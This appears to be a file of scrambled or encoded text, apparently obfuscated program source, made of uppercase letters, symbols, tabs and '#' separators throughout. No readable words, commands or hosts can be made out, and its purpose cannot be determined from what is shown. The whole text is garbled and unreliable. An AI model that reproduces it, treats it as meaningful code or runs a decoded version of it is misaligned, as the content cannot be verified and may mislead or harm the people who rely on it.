 		  #Z[XDNv\XGSDB									KKAEPBMEYMGE 			C_MFC[]GPPG			KKAEPBMEYMGE #	DAGQ[H							@^v_XSYHPXKSN 		C_MFC[]GPPG		@^v_XSYHPXKSN #	_BSvXZ[												SPDBZLLFM] 											D@F]YGZYrt							KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 							SPDBZLLFM] 						uG				]KD]PF\EJY#@O	iKKAEPBMEYMGE D@F]YGZYrt  						R#	@O		GJvF\F]HHS@D@F]YGZYrt	  					R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  #		[L]\[G#			T##		@O				ZKXOKS\JGG_ZQC@QYD@F]YGZYrt					_BSvXZ[  	R#	JBA\G@vQJPN]M]D@F]YGZYrt	^ASQ\PAL\@O  ####		XX]L[vEYC^\OZSZ_@JLD@F]YGZYrt	  #EHOBPA]OAvHD@F]YGZYrt #T#		[L]\[G#							T##						XX\\OvB								iKKAEPBMEYMGE D@F]YGZYrt ###	@O			KKAEPBMEYMGE XX\\OvB 	UU		@^v_XSYHPXKSN XX\\OvB 							  	[L]\[G##@O		@N[KMFGKOJZ XX\\OvB			Z[XDNv\XGSDB 						OHEZL						@N[KMFGKOJZ XX\\OvB	DAGQ[H 				OHEZL 	[L]\[G#			@O				@N[KMFGKOJZ XX\\OvB				@^v_XSYHPXKSN  							OHEZL						KKAEPBMEYMGE XX\\OvB		SPDBZLLFM] 				D@F]YGZYrt 				OHEZL 	R####				@O				SPDBZLLFM] SPDBZLLFM] 				@N[KMFGKOJZ XX\\OvB							  	@Q[C@MCQN 			_L[Z@FGvJFDYH[L@Q[C@MCQNrt	^NKBHS]S^NFHGH^O] 		@N[KMFGKOJZ   	[L]\[G###	@O					GJvF\F]HHS@D@F]YGZYrt			XX\\OvB  				R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G#	T#	iZYLJ\EH]L	HEL[]##		@O		ZKXOKS\JGG_ZQC@QYD@F]YGZYrt		_BSvXZ[  	R#JBA\G@vQJPN]M]D@F]YGZYrt		^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLD@F]YGZYrt		  ###	EHOBPA]OAvHD@F]YGZYrt #	T#						[L]\[G###		T#	FSQB@						FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 	  #	XX\\OvB						KKAEPBMEYMGE @^v_XSYHPXKSN 			FSQB@						SPDBZLLFM] 			XX\\OvB #					@O			@N[KMFGKOJZ XX\\OvB  		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 						@N[KMFGKOJZ  #		[L]\[G###T###	@O					i@^v_XSYHPXKSN D@F]YGZYrt  	[L]\[G#		@O				]ANZv@ZAOSOOASG@^v_XSYHPXKSN   		R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ####			[L]\[G###	T#@O			GJvF\F]HHS@D@F]YGZYrt					XX\\OvB  		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			@N[KMFGKOJZ  #							[L]\[G#					T####		JXQ_LD_PNY^S@@C[@N[KMFGKOJZ  #		O_OYMHM_DL			Z[XDNv\XGSDB						uG			SPDBZLLFM] 						D@F]YGZYrt				KKAEPBMEYMGE 							uG								]KD]PF\EJY					uG				DAGQ[H#								ZKXOKS\JGG_ZQC@QYD@F]YGZYrt				LEMDD@YOvY[YXX\\OvB			O_OYMHM_DL  #T	JH]JA		}A[F^HKEL		E]GYK]v 		R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 					E]GYK]v #	T		JH]JA	lQJLY]@FG		E]GYK]v 		R#		T#					T#O\GJ]@FG				K@@CCXBOBDGFJY #	R#	JFDY\]HKEL	H\]AF[@]P##			][P		R####	@O		MLO@GLM@^v_XSYHPXKSN   						[L]\[G#							D@F]YGZY				E@^NYDZ^vLY #			CZKHHA@XFEX\J						Z][@GN 			iKKAEPBMEYMGE D@F]YGZYrt		OHEZL			G\EE					  #					@O			KKAEPBMEYMGE KKAEPBMEYMGE 	CZKHHA@XFEX\J			_CZDGOY 				_CZDGOYrt							^NKBHS]S^NFHGH^O]  				R#				O@OJ\vXMO						@G] 	NL]vFY]@FGKKAEPBMEYMGE 		 #@O				@N[KMFGKOJZ  								O@OJ\vXMO				  			[L]\[G###					@O			LPCKvDQ@B]HNXJD@F]YGZYrt 				OHEZL 	R#			i\YMH]LvFY]@FGSPDBZLLFM] 				@^v_XSYHPXKSN  			SPDBZLLFM]  #	[L]\[G#T#		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				KKAEPBMEYMGE  #T#						YEA^CJENGPQ							LSQQPGQ_@[D^ ###@O					YEA^CJENGPQ			UU		@N[KMFGKOJZ YEA^CJENGPQ 					 				UU		@N[KMFGKOJZ YEA^CJENGPQ 				 			UU		_SMG[M@XJvKJSK\YEA^CJENGPQ  		[L]\[G#	@XCSDDO\O							@^v_XSYHPXKSN @N[KMFGKOJZ  			iNSLGJFMLYEA^CJENGPQ	w  						YEA^CJENGPQ###@O		@N[KMFGKOJZ @XCSDDO\O 				UU		@XCSDDO\O						 		[L]\[G#			@O		ZKXOKS\JGG_ZQC@QYD@F]YGZYrt				KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 														@^v_XSYHPXKSN YEA^CJENGPQ 										@^v_XSYHPXKSN @XCSDDO\O   					i\YMH]LvFY]@FGKKAEPBMEYMGE 				SPDBZLLFM]  	KKAEPBMEYMGE  #		T	JH]JA		}A[F^HKEL		E]GYK]v 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					E]GYK]v #		T		JH]JA		lQJLY]@FG					E]GYK]v 		R#T#	~y	}HKEL	kEFJB	LQY@[L	HEL[]##					T#				O\GJ]@FG						[HB[vv^K\Q_OE\F #						R##					@O						KKAEPBMEYMGE @N[KMFGKOJZ   		[L]\[G	OHEZL##			^QLC^DSQ				MLO@GLM@^v_XSYHPXKSN  				i@^v_XSYHPXKSN hkzyh}a						@N[KMFGKOJZ  						hkzyh}a		@^v_XSYHPXKSN 				vvo`elvv#		[L]\[G			@^v_XSYHPXKSN ^QLC^DSQ					Z #		T#	O\GJ]@FG			ZMGQBB[BS[[XJNvZ #				R#		][P			R#		@O			KKAEPBMEYMGE @N[KMFGKOJZ  	UU				@N[KMFGKOJZ @^v_XSYHPXKSN   			[L]\[G#				@O				MLO@GLMSPDBZLLFM]   		[L]\[G#YEA^CJENGPQ			LSQQPGQ_@[D^ #							@O			YEA^CJENGPQ	UU		KKAEPBMEYMGE YEA^CJENGPQ 							  		[L]\[G#	BLP						[HB[vv^K\Q_OE\F #@O				BLP		OHEZL 		[L]\[G#		LYB[]L^EEBPXZ			@^v_XSYHPXKSN @N[KMFGKOJZ  				@^v_XSYHPXKSN @^v_XSYHPXKSN 		YEA^CJENGPQ 					SPDBZLLFM] YEA^CJENGPQ #			vNDDQANQAC]^F				@N[KMFGKOJZ 							@N[KMFGKOJZ YEA^CJENGPQ 										LYB[]L^EEBPXZ		uG					YEA^CJENGPQ#			]@_QGLvJ							@N[KMFGKOJZ vNDDQANQAC]^F #		_Zv_HGPHQK			i@N[KMFGKOJZ BLP	H								 #	@O				_Zv_HGPHQK 		R#E@]QKC^^											@G] 		i@N[KMFGKOJZ _Zv_HGPHQK #		\[F_\MA^A]					i@^v_XSYHPXKSN _Zv_HGPHQK						E@]QKC^^ ##					@O						@^v_XSYHPXKSN \[F_\MA^A] 									SPDBZLLFM] \[F_\MA^A]				YEA^CJENGPQ 							OHEZL 				R#				i@^v_XSYHPXKSN _Zv_HGPHQK #				[L]\[G#	T#	MLY[F_@Z@FG	JF\G]HKEL	JFDDHGM##		@O		E@]QKC^^					]@_QGLvJ 	R##	i@N[KMFGKOJZ _Zv_HGPHQK #	_Zv_HGPHQK				iKKAEPBMEYMGE BLP			^										 ##				@O		_Zv_HGPHQK 				R#		i@^v_XSYHPXKSN _Zv_HGPHQK					KKAEPBMEYMGE vNDDQANQAC]^F	E@]QKC^^					u 					 ###			DKA@P^^vC								i@^v_XSYHPXKSN _Zv_HGPHQK				]@_QGLvJ #	i@^v_XSYHPXKSN _Zv_HGPHQK #					@O		DKA@P^^vC		vNDDQANQAC]^F 	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	KKAEPBMEYMGE  YQBXN^Y]MCZ\OZYFYQBXN^Y]MC YQBXN^Y]MCYQBXN^Y]MC#T#	[L]\[G#T		LEZL		R#	i@N[KMFGKOJZ _Zv_HGPHQK ##iKKAEPBMEYMGE _Zv_HGPHQK #				T#					T#	E@]QKC^^			]@_QGLvJ				 #	_Zv_HGPHQK				i@^v_XSYHPXKSN BLP	J		 		E@]QKC^^ #	@O				_Zv_HGPHQK 		[L]\[G##i@N[KMFGKOJZ _Zv_HGPHQK			KKAEPBMEYMGE vNDDQANQAC]^F				E@]QKC^^				u 					 #	DKA@P^^vC						iSPDBZLLFM] _Zv_HGPHQK					]@_QGLvJ #@O				DKA@P^^vC		vNDDQANQAC]^F 	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ###i@N[KMFGKOJZ _Zv_HGPHQK ##				T			JH]JA			}A[F^HKEL				E]GYK]v 		R#	~y	zJ[@Y]	dFM\ELZ	ML_@[]\HE@SL	Z][H]LNP##	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T		JH]JA	lQJLY]@FG			E]GYK]v 		RZGSDvGUXL]Av[^Z]ZGSDvGw#							T#T#			O\GJ]@FG			LEMDD@YOvY[YJ\[[LG]		O_OYMHM_DL #		R#	[F]H]L	Y@YLE@GL	OF[	~y	yFZ]	}L[DZ##							@O						@^v_XSYHPXKSN J\[[LG] 			UU				J\[[LG]		 		[L]\[G				KKAEPBMEYMGE 							O_OYMHM_DL			uG#@O		@^v_XSYHPXKSN @N[KMFGKOJZ 	J\[[LG]	KFXBHS		y{lnvfoozl}vjhy}|{l  				R#	i[LJEH@D	][\Z]HGJAF[####	GJJOO\BSZS					KFXBHSrtrt		@^v_XSYHPXKSN KFXBHSrtrt FGNFE]CH]HOFYJDZHZNFGNFE]C###ENH\MG					@^v_XSYHPXKSN J\[[LG]	GJJOO\BSZS	  #^A@EL			KKAEPBMEYMGE ENH\MG 							KKAEPBMEYMGE @^v_XSYHPXKSN 	ENH\MG	vMD  	R#			GJJOO\BSZS								@N[KMFGKOJZ vMDrt #ENH\MG						KKAEPBMEYMGE J\[[LG]					GJJOO\BSZS		  ####T#[L]\[G				KKAEPBMEYMGE J\[[LG]						GJJOO\BSZS 				uG		O_OYMHM_DL			uG				@^v_XSYHPXKSN J\[[LG]	GJJOO\BSZS ###					T#[L]\[G					@N[KMFGKOJZ 							O_OYMHM_DL					uGuG			J\[[LG]##			T#	O\GJ]@FG	]ANZv@ZAOSOOASGBLP ####						R#@O			@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G		][\L#_BvQP[N^E								iNL]vFY]@FGSPDBZLLFM] 				BLP				 #							@O		@^v_XSYHPXKSN _BvQP[N^E 		SPDBZLLFM] _BvQP[N^E		U 					OHEZL 	R#	OEKOHSDG@[F				@^v_XSYHPXKSN U	_BvQP[N^E	 #@O			@G] 		OEKOHSDG@[Frt					@G] 			@N[KMFGKOJZ  						  					@G] 	OEKOHSDG@[Frt							QQ  						[L]\[G		OHEZL#			T#[L]\[G			][\L#			T#	O\GJ]@FG			JXQ_LD_PNY^S@@C[BLP ###			R#	~y	oF[DH]]@GN	hy`	Z@]L	DL]H####	@O	SPDBZLLFM] SPDBZLLFM]  		UU				@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G##M^B@XSZE			@G] 			@N[KMFGKOJZ  						  #	_BvQP[N^E						iNL]vFY]@FG@N[KMFGKOJZ 											BLP	 #	DCD[LZ@BKN\_		#@O	@^v_XSYHPXKSN _BvQP[N^E 		@N[KMFGKOJZ _BvQP[N^E	U 			OHEZL 				R###OEKOHSDG@[F								KKAEPBMEYMGE U		_BvQP[N^E			 #@O			@G] 				OEKOHSDG@[Frt			M^B@XSZE 	DCD[LZ@BKN\_										@G] 	OEKOHSDG@[Frt#			T####					DCD[LZ@BKN\_#		i\YMH]LvFY]@FG@^v_XSYHPXKSN 						BLP	M^B@XSZE					U						DCD[LZ@BKN\_	SPDBZLLFM]  ###	@O		DCD[LZ@BKN\_									  		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	KKAEPBMEYMGE 						BLP #T#	O\GJ]@FG						\v\PN[@SA@L ###		R####				][P	R###		@O	MLO@GLM@^v_XSYHPXKSN   	[L]\[G#@O		MLO@GLMSPDBZLLFM]  	UU	i@^v_XSYHPXKSN ~yvjfg}lg}vm`{ 				UU			F[B@AKAZDADv]AS~yvjfg}lg}vm`{  		[L]\[G###				_ONSMO							~yvjfg}lg}vm`{#				_^XJ]vAC[		_ONSMO					@^v_XSYHPXKSN #						M_XXHYC^C_SP				@N[KMFGKOJZ [ZKLSD_ 			@N[KMFGKOJZ  #	XONOYOA[[				FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 		  			KKAEPBMEYMGE #		LCB\LSHJLG[O				^D]]OFPX_KGKN@ ###	XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a			SPDBZLLFM] 		QQ  ##	FBHZM\_^QA							KKAEPBMEYMGE KKAEPBMEYMGE  			[HB[vv^K\Q_OE\F 						OHEZL#	FJXHO_S			FBHZM\_^QA				OHEZL		SPDBZLLFM] FBHZM\_^QA 							#E\_]Ovv							@ZZL]nefkhezr@^v_XSYHPXKSN tY[LO@Q 						nefkhezr@N[KMFGKOJZ tY[LO@Q						@N[KMFGKOJZ #JS[LNF[N[E					@N[KMFGKOJZ 			KKAEPBMEYMGE SPDBZLLFM] M_XXHYC^C_SP		Z][@GN 	Y[CQSEMDC_  								QQ  #	P_MP]@Q]GHNCO				GvOZDJCMQLYAvYLO###					KKAEPBMEYMGE #	H[[HPvvze|nvv	vvs`yvghdlvv						vvzadfyvblpvv	vvfy}vghdlvv	vv~yvy{lo`qvv	vvn|h{mvghdlvv	vvl{z`fgvv #H[[HPM_XXHYC^C_SP			XONOYOA[[			FJXHO_S			XZ^\@KJE^			E\_]Ovv				JS[LNF[N[E		^NKBHS]S^NFHGH^O]  #				 #				@O		P_MP]@Q]GHNCO 			R##						@O			@G] 					NL]vFY]@FG@^v_XSYHPXKSN 			 				 	FBQKvM[JB\ZMHPE\SPDBZLLFM] 						@N[KMFGKOJZ  ##	[L]\[G#			T#	J\[[LG]						i@N[KMFGKOJZ _^XJ]vAC[ 		i@N[KMFGKOJZ _^XJ]vAC[ 				####		@O		@^v_XSYHPXKSN J\[[LG]  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #	[L]\[G#	T#	J\[[LG]										C^v@Z@\@ACBCLJ\[[LG] ####C_MFC[]GPPG					^NKBHS]S^NFHGH^O] 																		FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 				  #	Z[XDNv\XGSDB			KKAEPBMEYMGE 								C_MFC[]GPPG				@^v_XSYHPXKSN #	DAGQ[H			@^v_XSYHPXKSN 				C_MFC[]GPPG			KKAEPBMEYMGE #			JSL\OvQXSG			FZLYYKLLEQ[\Ahkzyh}a						SPDBZLLFM] 			w  #								\_PBJLHGSJ_^C@		SPDBZLLFM] @^v_XSYHPXKSN 						JSL\OvQXSG					KKAEPBMEYMGE 			J\[[LG] #	\GPCXKOECX				KKAEPBMEYMGE \_PBJLHGSJ_^C@			@N[KMFGKOJZ  					OHEZL #@O	@^v_XSYHPXKSN J\[[LG]		Z[XDNv\XGSDB 					OHEZL						@N[KMFGKOJZ J\[[LG]			DAGQ[H 				OHEZL							\GPCXKOECX 				R#SJQHNAP_F@EL #	[L]\[G#		T###				J\[[LG]				KKAEPBMEYMGE @N[KMFGKOJZ 						\_PBJLHGSJ_^C@ #							@O		SPDBZLLFM] J\[[LG]  		R#	@G]L[ELH_L	EHGLZ#LD\[HJ@BBNF^EFLD\[HJ@BB#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  ##				[L]\[G###	T	R#	J\[[LG]						C^v@Z@\@ACBCLJ\[[LG] #[JL@vvPP				SPDBZLLFM] KKAEPBMEYMGE 						P_MP]@Q]GHNCO ##		L^HXYYXZ_MFvPO_			@^v_XSYHPXKSN J\[[LG] 							 #	@O		L^HXYYXZ_MFvPO_ 	R##@O			]ANZv@ZAOSOOASG@N[KMFGKOJZ   		R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #	[L]\[G#			T#	@O		GJvF\F]HHS@_^XJ]vAC[		J\[[LG]  			R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #[L]\[G#					T####						JXQ_LD_PNY^S@@C[@N[KMFGKOJZ  #	T		LEZL		R#		@O			GJvF\F]HHS@_^XJ]vAC[	  		R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  #		[L]\[G#				T#					T#	_N@]LYAZvQA			LEMDD@YOvY[YJ\[[LG]				Z[XDNv\XGSDB						uG		[JL@vvPP			uG			DAGQ[H #		@O	ZKXOKS\JGG_ZQC@QY_^XJ]vAC[					_N@]LYAZvQA  				R#	[L]\[G#				T#	@O			L^HXYYXZ_MFvPO_ 	EHOBPA]OAvH_^XJ]vAC[ #						SJQHNAP_F@EL #	T#		T		JH]JA		}A[F^HKEL		E]GYK]v 		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #	T	JH]JA	lQJLY]@FG					E]GYK]v 	R#								T#							T###	O\GJ]@FG			ECC[HKED^G[NEKXK #				R####					][P				R#	~y	yFZ]	jFG]LG]	[L^[@]L	OE\ZA##		@O		MLO@GLM@^v_XSYHPXKSN   			[L]\[G#		@O	SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#								@O			KKAEPBMEYMGE KKAEPBMEYMGE   				[L]\[G#@O		@^v_XSYHPXKSN  							SPDBZLLFM]  				[L]\[G#				@O	@ZZL]vzl{l{r@^v_XSYHPXKSN t  	[L]\[G#				@O	NL]v][HGZ@LG]SPDBZLLFM]   						[L]\[G#				v@BHFEOS				^D]]OFPX_KGKN@ ###		@O	iKKAEPBMEYMGE v@BHFEOS  			vGQBQZEPNCOHHMv@BHFEOS	 			][\L #@O			i@N[KMFGKOJZ v@BHFEOS 						UU				i@N[KMFGKOJZ v@BHFEOS  		R#						v@BHFEOS				hkzyh}a			SPDBZLLFM] ####			@O				iKKAEPBMEYMGE v@BHFEOS  		v@BHFEOS				\PMXQZ\DMJ_]\OH #				####T#DQ@MHONX_										FZLYYKLLEQ[\Ahkzyh}a							N				QQ  #							^EL_LBBHP@									SPDBZLLFM] 				DQ@MHONX_							SPDBZLLFM] #Z@AZQHMK		v@BHFEOS																	^EL_LBBHP@#	~y	{LM\Q	z]F[L	M@HNGFZ]@J	AHGMZAHBL##					_LSEJ\Y[						v@BHFEOS				KKAEPBMEYMGE 					DQ@MHONX_#	OF[LHJA	H[[HPv@BHFEOS						hkzyh}a				@N[KMFGKOJZ 					\PMXQZ\DMJ_]\OH  	HZ	QBCAHOHF^BH 				R#	@MQ^@^@ZZBX								QBCAHOHF^BH			@N[KMFGKOJZ 												DQ@MHONX_###@O	i@^v_XSYHPXKSN @MQ^@^@ZZBX  	R#F]\CQ@MOPP[P					@G] 				iSPDBZLLFM] @MQ^@^@ZZBX #			@O		F]\CQ@MOPP[P								SPDBZLLFM]  								 			UU			F]\CQ@MOPP[P				KKAEPBMEYMGE  			  		R###		@PE[Z\[XJ_PLXG@MQ^@^@ZZBX #	JFG]@G\LO_[_SEDMMG[L@XXD^JO_[_SEDMMG#	T#	[LN@Z]L[	HEEFJH]@FG##			@O			iSPDBZLLFM] QBCAHOHF^BH		@N[KMFGKOJZ 			DQ@MHONX_				SPDBZLLFM]   		[L]\[G#				@PE[Z\[XJ_PLXG@MQ^@^@ZZBX ####			T#				T#	\GZL]QBCAHOHF^BH		@MQ^@^@ZZBX						F]\CQ@MOPP[P #	##							MJv]GKB[FXPF					hkzyh}a		KKAEPBMEYMGE 					^EL_LBBHP@#		@O					v@BHFEOS								hkzyh}a								@^v_XSYHPXKSN 					i@^v_XSYHPXKSN MJv]GKB[FXPF 						\ZNQXBNHJLN[YPCN@NEMJv]GKB[FXPF 				OHEZL 		R#			XX]L[vEYC^\OZSZ_@JLMJv]GKB[FXPF					QQL  ###		@O		@PE[Z\[XJ_PLXGMJv]GKB[FXPF 				@N[KMFGKOJZ SPDBZLLFM]   			iFYJHJALv@G_HE@MH]LMJv]GKB[FXPF				][\L #T#\GZL]MJv]GKB[FXPF ###			@O		i@N[KMFGKOJZ _LSEJ\Y[ 					@G] 		i@N[KMFGKOJZ _LSEJ\Y[ 			KKAEPBMEYMGE  					QMQL  				[L]\[G#				@O				iKKAEPBMEYMGE Z@AZQHMK 						SPDBZLLFM]  			@G] 		iO@ELJ]@DLZ@AZQHMK  							QLQJ  			[L]\[G###		@O	i@N[KMFGKOJZ Z@AZQHMK  		R#		OSvCD[D@_HXQ\J			iKKAEPBMEYMGE v@BHFEOS				@N[KMFGKOJZ 				DQ@MHONX_ 					KKAEPBMEYMGE Z][@GN 	iSPDBZLLFM] v@BHFEOS					@N[KMFGKOJZ 				DQ@MHONX_  					#							@O					OSvCD[D@_HXQ\J								@N[KMFGKOJZ KKAEPBMEYMGE 					OSvCD[D@_HXQ\J 			_L[Z@FGvJFDYH[LOSvCD[D@_HXQ\J		^NKBHS]S^NFHGH^O] 				  	[L]\[G#\GZL]OSvCD[D@_HXQ\J #T##			@O				iSPDBZLLFM] Z@AZQHMK  			R#JvP@]JM			v@BHFEOS			@N[KMFGKOJZ 			FZLYYKLLEQ[\Ahkzyh}a								N		QQ  ###								X_APA[KC^XS					iKKAEPBMEYMGE JvP@]JM 			Z][@GN 	i@N[KMFGKOJZ JvP@]JM 									#					QZJ_FP_H^					^GCBNNBYQLQO BSQ^YAFLCE^GCBNNBY#				@O	X_APA[KC^XS						 				R##FFC\\PDZ					@N[KMFGKOJZ U			X_APA[KC^XS ###			QZJ_FP_H^					@G] 		FFC\\PDZrt#			T#		@O			QZJ_FP_H^							KKAEPBMEYMGE  		QZJ_FP_H^			  						FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 						@^v_XSYHPXKSN  #			LEZL@O		QZJ_FP_H^									SPDBZLLFM]  									@G] 	iO@ELJ]@DLZ@AZQHMK  							  			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  #		\GZL]JvP@]JM						X_APA[KC^XS	FFC\\PDZ	QZJ_FP_H^ ###T#YEA^CJENGPQ			LSQQPGQ_@[D^ #								@O			YEA^CJENGPQ	UU		KKAEPBMEYMGE YEA^CJENGPQ 						QOHQOH  		[L]\[G#							SNEOHKH^vJAY			Q]H[ENCXS]X^Z@] #					M_XXHYC^C_SP							KKAEPBMEYMGE [ZKLSD_ 		@N[KMFGKOJZ  #LLNM_ZDJA@QKC						\PMXQZ\DMJ_]\OH 								@N[KMFGKOJZ #			__^HHM\YN^K_B				i@^v_XSYHPXKSN LLNM_ZDJA@QKC #									LLNM_ZDJA@QKC									M_XXHYC^C_SP							KKAEPBMEYMGE  ###					\PMXQZ\DMJ_]\OH 					SPDBZLLFM] 									M_XXHYC^C_SP												M_XXHYC^C_SP			KKAEPBMEYMGE  ##				S[MHDH@GS\XFE										SPDBZLLFM] KKAEPBMEYMGE  			@^v_XSYHPXKSN AFDLv\[E 		yayv|{evafz} 			@ZZL]vzl{l{r@^v_XSYHPXKSN t 						vzl{l{rKKAEPBMEYMGE t			 #^@O_ONPYFv							MLO@GLM@N[KMFGKOJZ  					~yd|vye|n`gvm`{ 						~yd|vye|n`gvm`{						\PMXQZ\DMJ_]\OH 		@^v_XSYHPXKSN ####	P\YGYL			MLO@GLM@^v_XSYHPXKSN  					~yvye|n`gvm`{ 					~yvye|n`gvm`{			\PMXQZ\DMJ_]\OH 								@N[KMFGKOJZ #				HMG[N_								MLO@GLM@^v_XSYHPXKSN  			~yvjfg}lg}vm`{						\PMXQZ\DMJ_]\OH #						FXv@]YSDS[							GvOZDJCMQLYAvYLO##			SPDBZLLFM] #H[[HPvvyh}avkvv				vvye|n`gvkhzlvv		vvmfdh`gvv			vvakvkvv		vvnyh}avkvv	vvhkzyh}avkvv			vvjfg}lg}m`{vkvv				vvd|m`{vkvv		vvye|n`gm`{vkvv			vvze|nvv				vvl{z`fgvv #		H[[HPKKAEPBMEYMGE __^HHM\YN^K_B 			SNEOHKH^vJAY	S[MHDH@GS\XFE	KKAEPBMEYMGE _LSEJ\Y[ 		@^v_XSYHPXKSN Z@AZQHMK 	@N[KMFGKOJZ hkzyh}a 	@^v_XSYHPXKSN HMG[N_ 						@N[KMFGKOJZ ^@O_ONPYFv 	@N[KMFGKOJZ P\YGYL 	SPDBZLLFM] [ZKLSD_ 				@^v_XSYHPXKSN  		^NKBHS]S^NFHGH^O]  #	 #		@O			FXv@]YSDS[ 		R#				@O			@G] 			NL]vFY]@FGSPDBZLLFM] 			 							 	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  #		[L]\[G#T#		@O	_SMG[M@XJvKJSK\FXv@]YSDS[  				R#	JFDYHJ]	[LN@Z][P	##		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			@^v_XSYHPXKSN  #[L]\[G#								T#	@O	ZKXOKS\JGG_ZQC@QYZ@AZQHMK				FXv@]YSDS[  		R#		JBA\G@vQJPN]M]Z@AZQHMK						^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLZ@AZQHMK					QHQH  #		EHOBPA]OAvHZ@AZQHMK ##		]CMKXXQK@G\FHv@BHFEOS					KKAEPBMEYMGE 				DQ@MHONX_			KKAEPBMEYMGE FXv@]YSDS[ 	@^v_XSYHPXKSN  ####]CMKXXQK@G\FHv@BHFEOS		KKAEPBMEYMGE 							DQ@MHONX_			^NKBHS]S^NFHGH^O] 	SPDBZLLFM]  LZCJ_\D_^LMMLZCJ_\D#			i@GJE\MLvFGJL	Z@AZQHMK#	ZL]v][HGZ@LG]@N[KMFGKOJZ 				  ####	T###\GZL]^@O_ONPYFv				P\YGYL			HMG[N_ #		T		JH]JA	}A[F^HKEL	E]GYK]v 		R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #				T		JH]JA		lQJLY]@FG	E]GYK]v 					R##				T#	\G[LHJAHKEL##		T#O\GJ]@FG		K[N[JPDKAX]LS^\QYANGZLv ###					RQOHGZQQL KMLDXMQ@\LvvQOHGZ#	@O		@N[KMFGKOJZ ^\QYANGZLv  	[L]\[G	OHEZL###					@EAPNYJGGMP			SPDBZLLFM] ^\QYANGZLv #@O		@EAPNYJGGMP			  	[L]\[G	][\L#	@O		@EAPNYJGGMP					  				[L]\[G				OHEZL#		F^^FKZENAZ][			@^v_XSYHPXKSN ^\QYANGZLv					  #	ASYN[XFDS@EK				@N[KMFGKOJZ F^^FKZENAZ][			 				@^v_XSYHPXKSN F^^FKZENAZ][				u] #[L]\[G	ASYN[XFDS@EK		SPDBZLLFM] F^^FKZENAZ][  				#T#			O\GJ]@FG	LSQQPGQ_@[D^FG\JGKOD					OHEZL #R#						Z]H]@J						YEA^CJENGPQ						G\EE#@O		FG\JGKOD 	R#YEA^CJENGPQ			G\EE#	T#		@O	YEA^CJENGPQ						G\EE 				[L]\[G		YEA^CJENGPQ##			^\QYANGZLv					OHEZL#		]JY]]OvF\K]]NA						i@N[KMFGKOJZ [ZKLSD_  GBDDYvY@PXyayv`g}vdhqyayv`g}vdhq[XEDQ_NGXZGBDDYvY@PX#						@O					]JY]]OvF\K]]NA					]JY]]OvF\K]]NA					 						]JY]]OvF\K]]NA					  		^\QYANGZLv				iSPDBZLLFM] [ZKLSD_  #@O	@N[KMFGKOJZ ^\QYANGZLv 					KKAEPBMEYMGE ^\QYANGZLv 									  	^\QYANGZLv						C^v@Z@\@ACBCL^\QYANGZLv ###			@O	@N[KMFGKOJZ ^\QYANGZLv 				@N[KMFGKOJZ ^\QYANGZLv 		 					@^v_XSYHPXKSN ^\QYANGZLv 			 			K[N[JPDKAX]LS^\QYANGZLv 							_SMG[M@XJvKJSK\^\QYANGZLv  		R#		YEA^CJENGPQ			^\QYANGZLv#			[L]\[G		YEA^CJENGPQ#T#			JNKLC^[HF			AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 			 #			@O						@^v_XSYHPXKSN JNKLC^[HF 					@^v_XSYHPXKSN JNKLC^[HF 			 							SPDBZLLFM] JNKLC^[HF 				 		K[N[JPDKAX]LSJNKLC^[HF 				_SMG[M@XJvKJSK\JNKLC^[HF  				R#					YEA^CJENGPQ							JNKLC^[HF#			[L]\[G	YEA^CJENGPQ#	T#			YEA^CJENGPQ					OHEZL#							[L]\[G					YEA^CJENGPQ#		T#O\GJ]@FG	Q]H[ENCXS]X^Z@]FG\JGKOD			OHEZL #				R#Z]H]@J	J_@[BEONv_						G\EE#						##@O		FG\JGKOD 			R#	~y	kEFJB	hy`	_	ZL]]@GNZ	ZLJ]@FG##	J_@[BEONv_								G\EE#	T#	~y	mH]H	dFM\EL	ZL[@HE@SHKEL	M@ZYH]JAL[##@O		J_@[BEONv_					G\EE 	[L]\[G	J_@[BEONv_#				^\QYANGZLv							LSQQPGQ_@[D^ #	@O	@^v_XSYHPXKSN ^\QYANGZLv 	UU	KKAEPBMEYMGE ^\QYANGZLv 					 					UU		SPDBZLLFM] ^\QYANGZLv 		 			UU		K[N[JPDKAX]LS^\QYANGZLv 	UU				